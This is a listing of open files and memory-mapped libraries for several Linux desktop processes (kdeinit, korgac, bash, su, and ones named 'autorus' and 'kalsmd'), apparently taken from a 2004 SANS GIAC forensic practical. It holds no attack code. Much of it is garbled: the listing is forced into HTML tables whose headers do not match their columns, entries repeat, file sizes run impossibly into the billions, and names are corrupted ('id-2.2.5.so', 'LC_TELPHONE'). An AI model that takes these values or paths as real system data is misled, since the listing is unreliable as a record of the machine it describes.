/usr/X11R6/lib/X11/locale/common/xlcDef.so.2
kdeinit 1217 userid1 mem REG 3,2 136415 16964
/usr/X11R6/lib/X11/locale/common/ximcp.so.2
kdeinit 1217 userid1 mem REG 3,2 6996 114215 /usr/lib/gconv/ISO8859-15.so
kdeinit 1217 userid1 mem REG 3,2 83610 294695 /usr/lib/kde3/minipager_panelapplet-gcc2.96.so.1.0.0
kdeinit 1217 userid1 mem REG 3,2 29535 294715 /usr/lib/kde3/taskbar_panelapplet-gcc2.96.so.1.0.0
kdeinit 1217 userid1 mem REG 3,2 51787 294691 /usr/lib/kde3/lockout_panelapplet-gcc2.96.so
kdeinit 1217 userid1 mem REG 3,2 49642 294711 /usr/lib/kde3/systemtray_panelapplet-gcc2.96.so.1.0.0
kdeinit 1217 userid1 mem REG 3,2 197376 294364 /usr/lib/kde3/clock_panelapplet-gcc2.96.so
kdeinit 1217 userid1 mem REG 3,2 42808 16969
/usr/X11R6/lib/X11/locale/common/xomGeneric.so.2
kdeinit 1217 userid1 mem REG 3,5 45415 63523 /lib/libnss_files-2.2.so
kdeinit 1217 userid1 mem REG 3,5 1401027 73730 /lib/ld-2.2.5.so
kdeinit 1217 userid1 0r CHR 1,3 9637 /dev/null
kdeinit 1217 userid1 1w REG 3,3 145332328 /home/userid1/.xsession-errors
kdeinit 1217 userid1 2w REG 3,3 145332328 /home/userid1/.xsession-errors
kdeinit 1217 userid1 3u unix Oxlce3500 2335 socket
kdeinit 1217 userid1 4u unix Oxlce3500 2335 socket
kdeinit 1217 userid1 5r FIFO 0,5 2341 pipe
kdeinit 1217 userid1 6w FIFO 0,5 2341 pipe
kdeinit 1217 userid1 7u unix Oxlce150040 2342 socket
kdeinit 1217 userid1 8r FIFO 0,5 2345 pipe
kdeinit 1217 userid1 9w FIFO 0,5 2345 pipe
kdeinit 1217 userid1 10r REG 3,5 425497 75899 /tmp/kde-userid1/ksycoca
autorus 1219 userid1 c UID DIR 3,3 409632328 /home/userid1
autorus 1219 userid1 rtd DIR 3,5 10242 /autorus
autorus 1219 userid1 txt REG 3,2 387113647 /usr/bin/autorus
autorus 1219 userid1 mem REG 3,5 8954763490 /lib/id-2.2.5.so
autorus 1219 userid1 mem REG 3,2 42644265304 /usr/lib/libstdc++-6.2.10.0.so
autorus 1219 userid1 mem REG 3,5 17335973732 /lib/ld-2.2.5.so
autorus 1219 userid1 mem REG 3,5 1401027 73730 /lib/ld-2.2.5.so
autorus 1219 userid1 0r CHR 1,3 9637 /dev/null
autorus 1219 userid1 1w REG 3,3 145332328 /home/userid1/.xsession-errors
autorus 1219 userid1 2w REG 3,3 145332328 /home/userid1/.xsession-errors
autorus 1219 userid1 3r REG 3,3 0 32333 /home/userid1/.autorus
kdeinit 1223 userid1 c UID DIR 3,3 409632328 /home/userid1
kdeinit 1223 userid1 rtd DIR 3,5 10242 /kdeinit
kdeinit 1223 userid1 txt REG 3,2 3636033359 /usr/bin/kdeinit
kdeinit 1223 userid1 mem REG 3,5 8954763490 /lib/id-2.2.5.so
kdeinit 1223 userid1 mem REG 3,2 2457130317
/usr/lib/locale/en_US.iso885915/LC_TIME
kdeinit 1223 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
<table>
<thead>
<tr>
<th>Process</th>
<th>User ID</th>
<th>Type</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit</td>
<td>1223</td>
<td>mem</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>3,2</td>
<td>371</td>
<td>130311</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>3,2</td>
<td>29</td>
<td>130312</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>3,2</td>
<td>65</td>
<td>130316</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td>3,2</td>
<td>161</td>
<td>130310</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>3,2</td>
<td>83</td>
<td>130314</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>3,2</td>
<td>40</td>
<td>130315</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td>3,2</td>
<td>58</td>
<td>179360</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES</td>
<td>3,2</td>
<td>60</td>
<td>130322</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
<td>3,2</td>
<td>10902</td>
<td>16965</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td>3,2</td>
<td>7644546</td>
<td>440426</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td>3,2</td>
<td>131560</td>
<td>65396</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>3,2</td>
<td>59778</td>
<td>65358</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>3,2</td>
<td>874476</td>
<td>16985</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFIER</td>
<td>3,2</td>
<td>31520</td>
<td>16983</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>3,2</td>
<td>81380</td>
<td>16979</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>3,2</td>
<td>101902</td>
<td>73734</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>3,2</td>
<td>12102</td>
<td>63503</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>3,2</td>
<td>52300</td>
<td>16993</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>3,2</td>
<td>426442</td>
<td>65304</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>3,2</td>
<td>11174</td>
<td>63541</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>3,2</td>
<td>173359</td>
<td>73732</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>3,2</td>
<td>110194</td>
<td>65399</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>3,2</td>
<td>290306</td>
<td>65392</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>3,2</td>
<td>140418</td>
<td>65389</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>3,2</td>
<td>90976</td>
<td>16997</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>3,2</td>
<td>295833</td>
<td>65382</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>3,2</td>
<td>207008</td>
<td>65365</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>3,2</td>
<td>924879</td>
<td>65362</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>3,2</td>
<td>575687</td>
<td>65982</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>3,2</td>
<td>209053</td>
<td>65940</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>3,2</td>
<td>225992</td>
<td>130323</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>3,2</td>
<td>137680</td>
<td>130324</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYP</td>
<td>3,2</td>
<td>136415</td>
<td>16964</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/ximc.so.2</td>
<td>3,2</td>
<td>6996</td>
<td>114215</td>
</tr>
<tr>
<td>/usr/lib/libc6.2</td>
<td>3,5</td>
<td>425497</td>
<td>75899</td>
</tr>
<tr>
<td>/usr/lib/libc6.2</td>
<td>3,5</td>
<td>45415</td>
<td>65253</td>
</tr>
<tr>
<td>/usr/lib/libc6.2</td>
<td>3,5</td>
<td>1401027</td>
<td>73730</td>
</tr>
<tr>
<td>/usr/lib/libc6.2</td>
<td>3,5</td>
<td>1</td>
<td>9637</td>
</tr>
<tr>
<td>/usr/lib/libc6.2</td>
<td>3,5</td>
<td>1453</td>
<td>32328</td>
</tr>
<tr>
<td>/usr/lib/libc6.2</td>
<td>3,5</td>
<td>1453</td>
<td>32328</td>
</tr>
<tr>
<td>/usr/lib/libc6.2</td>
<td>4</td>
<td>0</td>
<td>2411</td>
</tr>
<tr>
<td>/usr/lib/libc6.2</td>
<td>6</td>
<td>0</td>
<td>2411</td>
</tr>
<tr>
<td>/usr/lib/libc6.2</td>
<td>7</td>
<td>0</td>
<td>2412</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
korgac 1228 userid1 mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
korgac 1228 userid1 mem REG 3,2 22592 130323
/usr/lib/locale/en_US.iso885915/LC_COLLATE
korgac 1228 userid1 mem REG 3,2 173680 130324
/usr/lib/locale/en_US.iso885915/LC_CTYPE
korgac 1228 userid1 mem REG 3,2 136415 16964
/usr/X11R6/lib/X11/locale/common/ximcp.so.2
korgac 1228 userid1 mem REG 3,2 6996 114215 /usr/lib/gconv/ISO8859-15.so
korgac 1228 userid1 mem REG 3,2 42808 16969
/usr/X11R6/lib/X11/locale/common/xomGeneric.so.2
korgac 1228 userid1 mem REG 3,5 89547 63520 /lib/ld-2.2.5.so
korgac 1228 userid1 mem REG 3,2 624081 65795 /usr/lib/libkcal-gcc2.96.so.2.0.0
korgac 1228 userid1 mem REG 3,2 3484738 65724 /usr/lib/libkio-gcc2.96.so.4.0.0
korgac 1228 userid1 mem REG 3,2 2530952 65712 /usr/lib/libkdeui-gcc2.96.so.4.0.0
korgac 1228 userid1 mem REG 3,2 168176 65682 /usr/lib/libkdefx-gcc2.96.so.4.0.0
korgac 1228 userid1 mem REG 3,2 17328 17011 /usr/X11R6/lib/libXrender.so.1.1
korgac 1228 userid1 mem REG 3,2 133032 65706 /usr/lib/libkdesu-gcc2.96.so.4.0.0
korgac 1228 userid1 mem REG 3,2 2457 130317 /usr/lib/locale/en_US.iso885915/LC_TIME
korgac 1228 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
korgac 1228 userid1 mem REG 3,2 171 130311
/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
korgac 1228 userid1 mem REG 3,2 29 130312
/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
korgac 1228 userid1 mem REG 3,2 65 130316
/usr/lib/locale/en_US.iso885915/LC_TELEPHONE
korgac 1228 userid1 mem REG 3,2 161 130310
/usr/lib/locale/en_US.iso885915/LC_ADDRESS
korgac 1228 userid1 mem REG 3,2 83 130314
/usr/lib/locale/en_US.iso885915/LC_NAME
korgac 1228 userid1 mem REG 3,2 40 130315
/usr/lib/locale/en_US.iso885915/LC_PAPER
korgac 1228 userid1 mem REG 3,2 58 179360
/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
korgac 1228 userid1 mem REG 3,2 292 130313
/usr/lib/locale/en_US.iso885915/LC_MONETARY
korgac 1228 userid1 mem REG 3,2 60 130322
/usr/lib/locale/en_US.iso885915/LC_NUMERIC
korgac 1228 userid1 mem REG 3,2 10902 16965
/usr/X11R6/lib/X11/locale/common/xicDef.so.2
korgac 1228 userid1 mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
korgac 1228 userid1 mem REG 3,2 44700 65791 /usr/lib/libkalmld-gcc2.96.so
korgac 1228 userid1 mem REG 3,2 1962973 65672 /usr/lib/libkdecore-gcc2.96.so.4.0.0
korgac 1228 userid1 mem REG 3,2 262818 65640 /usr/lib/libDCCP-gcc2.96.so.4.0.0
korgac 1228 userid1 mem REG 3,2 7644546 440426 /usr/lib/qt3.0.3/lib/qt-3.0.3.0
korgac 1228 userid1 mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
korgac 1228 userid1 mem REG 3,2 44700 65791 /usr/lib/libkalmld-gcc2.96.so
<table>
<thead>
<tr>
<th>Process</th>
<th>Username</th>
<th>Type</th>
<th>Offset</th>
<th>Size (Bytes)</th>
<th>Path and Options</th>
</tr>
</thead>
<tbody>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 426442</td>
<td>/usr/lib/libstdc++-3-1libc6.2-2-2.10.0.so</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 173359</td>
<td>/lib/i686/libm-2.2.5.so</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 110194</td>
<td>/usr/lib/libcups.so.2</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 290306</td>
<td>/usr/lib/libmng.so.1.0.0</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 140418</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 90976</td>
<td>/usr/X11R6/lib/libX11.so.1.1</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 295833</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 207008</td>
<td>/lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 924879</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 22592</td>
<td>130323</td>
</tr>
<tr>
<td>/usr/lib/locale/iso885915/LC_COLLATE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/iso885915/LC_CTYPE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 6996</td>
<td>114215</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 45415</td>
<td>/usr/lib/gconv/ISO8859-15.so</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 1401027</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>0r</td>
<td>CHR</td>
<td>1,3 9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>1w</td>
<td>REG</td>
<td>3,3 1453</td>
<td>/home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>2w</td>
<td>REG</td>
<td>3,3 1453</td>
<td>/home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>3u</td>
<td>unix</td>
<td>Oxc0a47040</td>
<td>2426 socket</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>4u</td>
<td>unix</td>
<td>Oxc0a40560</td>
<td>2430 socket</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>5r</td>
<td>FIFO</td>
<td>0,5 2447</td>
<td>pipe</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>6w</td>
<td>FIFO</td>
<td>0,5 2447</td>
<td>pipe</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>7u</td>
<td>unix</td>
<td>Oxc150a40</td>
<td>2448 socket</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>8r</td>
<td>FIFO</td>
<td>0,5 2451</td>
<td>pipe</td>
</tr>
<tr>
<td>kalsmd</td>
<td>userid1</td>
<td>9w</td>
<td>FIFO</td>
<td>0,5 2451</td>
<td>pipe</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>cwd</td>
<td>DIR</td>
<td>3,3 4096</td>
<td>/home/userid1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>rtd</td>
<td>DIR</td>
<td>3,3 1024</td>
<td>/</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>txt</td>
<td>REG</td>
<td>3,2 36360</td>
<td>/usr/bin/kdeinit</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 89547</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 18152</td>
<td>/usr/X11R6/lib/libX11.so.6.1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 2457</td>
<td>130317</td>
</tr>
<tr>
<td>/usr/lib/locale/iso885915/LC_TIME</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/iso885915/LC_TIME</td>
</tr>
<tr>
<td>/usr/lib/locale/iso885915/LC_IDENTIFICATION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>/usr/lib/locale/iso885915/LC_MEASUREMENT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 29</td>
<td>130312</td>
</tr>
<tr>
<td>/usr/lib/locale/iso885915/LC_TELPHONE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/iso885915/LC_TELPHONE</td>
</tr>
<tr>
<td>/usr/lib/locale/iso885915/LC_ADDRESS</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>/usr/lib/locale/iso885915/LC_NAME</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/iso885915/LC_NAME</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 40</td>
<td>130315</td>
</tr>
<tr>
<td>/usr/lib/locale/iso885915/LC_PAPER</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/iso885915/LC_PAPER</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 58</td>
<td>179360</td>
</tr>
<tr>
<td>/usr/lib/locale/iso885915/LC_MESSAGES</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/iso885915/LC_MESSAGES</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 262818</td>
<td>65640 /usr/lib/libDCCP-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 294341</td>
<td>65748 /usr/lib/libgparts-gcc2.96.so.2.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 3484738</td>
<td>65724 /usr/lib/libkio-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 2503952</td>
<td>65712 /usr/lib/libkdeui-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 168176</td>
<td>65682 /usr/lib/libkdfx-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 17328</td>
<td>17011 /usr/X11R6/lib/libXrender.so.1.1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 133032</td>
<td>65706 /usr/lib/libkdesu-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 1962973</td>
<td>65672 /usr/lib/libkdedcore- gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 7644546</td>
<td>440426 /usr/lib/qt-3.0.3/lib/libqt-3.0.3</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 131560</td>
<td>65396 /usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 59778</td>
<td>65358 /usr/lib/libpng.so.1.1.3</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 784476</td>
<td>16985 /usr/X11R6/lib/libX11.so.6.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 31520</td>
<td>16983 /usr/X11R6/lib/libSM.so.6.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,2 81380</td>
<td>16979 /usr/X11R6/lib/libICE.so.6.3</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,5 101902</td>
<td>73734 /lib/i686/libpthread-0.9.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,5 12102</td>
<td>63503 /lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,5 52300</td>
<td>16993 /usr/X11R6/lib/libXext.so.6.4</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>REG</td>
<td>3,5 68925</td>
<td>63535 /lib/libresolv-2.2.5.so</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Command</th>
<th>User</th>
<th>Type</th>
<th>Flags</th>
<th>Size</th>
<th>Inode</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>45415</td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>46177</td>
<td>/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>89424</td>
<td>/lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>0u</td>
<td>CHR</td>
<td>136,1</td>
<td>/dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>1u</td>
<td>CHR</td>
<td>136,1</td>
<td>/dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>2u</td>
<td>CHR</td>
<td>136,1</td>
<td>/dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>255u</td>
<td>CHR</td>
<td>136,1</td>
<td>/dev/pts/1</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>2,0</td>
<td>3</td>
<td>/mnt/floppy</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>1024</td>
<td>/mnt/floppy</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>541096</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>12471</td>
<td>/lib/security/pam_rootok.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>12989</td>
<td>/lib/security/pam_stack.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>12989</td>
<td>/lib/security/pam_env.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>14617</td>
<td>/lib/security/pam_limits.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>45415</td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>46177</td>
<td>/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>89424</td>
<td>/lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>1401027</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,2</td>
<td>22592</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,2</td>
<td>173680</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>45415</td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>46177</td>
<td>/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>89424</td>
<td>/lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>12471</td>
<td>/lib/security/pam_rootok.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>12989</td>
<td>/lib/security/pam_stack.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>14617</td>
<td>/lib/security/pam_limits.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>45415</td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>46177</td>
<td>/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>Chr</td>
<td>3,5</td>
<td>89424</td>
<td>/lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Type</td>
<td>Flags</td>
<td>PID</td>
<td>Start Time</td>
<td>Command</td>
</tr>
<tr>
<td>--------------</td>
<td>--------</td>
<td>------</td>
<td>-------</td>
<td>-----</td>
<td>------------</td>
<td>---------------------------------</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1269</td>
<td>173680</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>1269</td>
<td>1401027</td>
